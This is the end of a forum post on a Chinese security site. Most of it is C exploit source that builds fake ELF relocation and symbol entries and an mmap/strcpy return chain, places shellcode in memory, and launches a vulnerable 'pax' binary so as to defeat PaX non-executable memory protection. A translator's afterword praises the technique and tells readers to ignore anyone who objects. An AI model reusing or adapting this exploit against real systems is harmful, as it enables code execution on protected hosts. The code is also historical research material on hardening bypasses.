        thebuf.mymmap.new_ebp =FRAMESINDATA + offsetof(struct ourbuf, trans);
        thebuf.mymmap.put_plt_here = PLT;
        thebuf.mymmap.reloc_offset = reloc_offset;
        thebuf.mymmap.leave_ret = LEAVERET;
        thebuf.mymmap.start = MMAP_START;
        thebuf.mymmap.length = 0x01020304;
        thebuf.mymmap.prot =
            0x01010100 | PROT_EXEC | PROT_READ | PROT_WRITE;
        thebuf.mymmap.flags =
            0x01010000 | MAP_EXECUTABLE | MAP_FIXED | MAP_PRIVATE |
            MAP_ANONYMOUS;
        thebuf.mymmap.fd = 0xffffffff;
        thebuf.mymmap.offset = 0x01021000;
        thebuf.trans.new_ebp = 0x01020304;
        thebuf.trans.func = STRCPY;
        thebuf.trans.leave_ret = MMAP_START + 1;
        thebuf.trans.param1 = MMAP_START + 1;
        thebuf.trans.param2 = FRAMESINDATA + offsetof(struct ourbuf, hell);

        memset(thebuf.hell, 'x', sizeof(thebuf.hell));
        memcpy(thebuf.hell, hellcode, strlen(hellcode));

        thebuf.r.r_info = 7 + 256 * real_index;
        thebuf.r.r_offset = FRAMESINDATA + sizeof(thebuf) + 4;
        thebuf.sym.st_name =FRAMESINDATA + offsetof(struct ourbuf, mmapname) + NAME_ADD_OFF- STRTAB;
        thebuf.sym.st_value = FRAMESINDATA + sizeof(thebuf) + 4;
       
        #define ANYTHING 0xfefefe80
        thebuf.sym.st_size = ANYTHING;
        thebuf.sym.st_info = (unsigned char) ANYTHING;
        thebuf.sym.st_other = ((unsigned char) ANYTHING) & ~3;
        thebuf.sym.st_shndx = (unsigned short) ANYTHING;

        strcpy(thebuf.mmapname, mmap_string);

/* setup_zero[_abs] functions prepare arguments for strcpy calls, which
are to nullify certain bytes
*/
        setup_zero(&thebuf,
            offsetof(struct ourbuf, r) +
            offsetof(struct my_elf_rel, r_info) + 2, 0);

        setup_zero(&thebuf,
            offsetof(struct ourbuf, r) +
            offsetof(struct my_elf_rel, r_info) + 3, 1);

        setup_zero_abs(&thebuf,
            (char *) mysym + offsetof(struct my_elf_sym, st_name) + 2,
                    offsetof(struct ourbuf, sym) +
                offsetof(struct my_elf_sym, st_name) + 2, 2);

        setup_zero_abs(&thebuf,
            (char *) mysym + offsetof(struct my_elf_sym, st_name) + 3,
                    offsetof(struct ourbuf, sym) +
                offsetof(struct my_elf_sym, st_name) + 3, 3);

        setup_zero(&thebuf,
            offsetof(struct ourbuf, mymmap) +
            offsetof(struct mmap_plt_args, start), 4);

        setup_zero(&thebuf,
            offsetof(struct ourbuf, mymmap) +
            offsetof(struct mmap_plt_args, offset), 5);

        setup_zero(&thebuf,
            offsetof(struct ourbuf, mymmap) +
            offsetof(struct mmap_plt_args, reloc_offset) + 2, 6);

        setup_zero(&thebuf,
            offsetof(struct ourbuf, mymmap) +
            offsetof(struct mmap_plt_args, reloc_offset) + 3, 7);

        strcpy(str, "STR=");
        memcpy(str + 4, &thebuf, sizeof(thebuf));
        str[4 + sizeof(thebuf)] = 0;
        if (sizeof(struct ourbuf) + 4 >
            strlen(str) + sizeof(thebuf.mmapname)) {
                fprintf(stderr,
                    "Zeroes in the payload, sizeof=%d, len=%d, correct it !\n",
                    sizeof(struct ourbuf) + 4, strlen(str));
                fprintf(stderr, "sizeof thebuf.mmapname=%d\n",
                    sizeof(thebuf.mmapname));
                exit(1);
        }
        execle("./pax", "pax", 0, env, 0);
        return 1;
}
<-->
p.s Any problem( concerning the technique, or translation), welcome pass the E-mail<mail to:roohacker@sohu.com> to proceed the discussion,and very welcome give any advise, and
thank.(任何问题,不吝赐教,谢谢~)

后记:匆忙完成了这样的翻译,显得激动和痛苦。作者是耳熟能详的内核级的漏洞发现专家,作者通过对Pax阻止堆栈缓冲溢出(比如通过禁止数据段可执行的内核补丁)机理分析,怎样逃避Pax的保护和怎样加强保护的解决方案,进行的防守和攻击,一张一盍,甚是精彩;在Pax的项目中有许多对ELF可执行链接文件的技术文档和页面不可执行的阐述,特别是"不可执行"苦于自己对保护模式下的汇编不了解,如履薄冰。

作者在过去的溢出技术之为基础,提出lib函数以及动态链接返回这些新的技术,在高级的exploit中具体的实现作了精要的分析。本文以期抛砖引玉,"虽然掌握这些技术,对于狂热的计算机爱好者不是什么坏事,也许你在讨论这些技术的时候,有人试图阻止你,或你想了解它们的时候,有人给你带来了不愉快的感受,忘记这些人。just do it。"我相信你们明白我说什么。


地主 发表时间: 04-02-23 12:51

回复: ysfilone [ysfilone]   论坛用户   登录
这个不错~!收藏

B1层 发表时间: 04-02-23 13:14

论坛: 菜鸟乐园

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号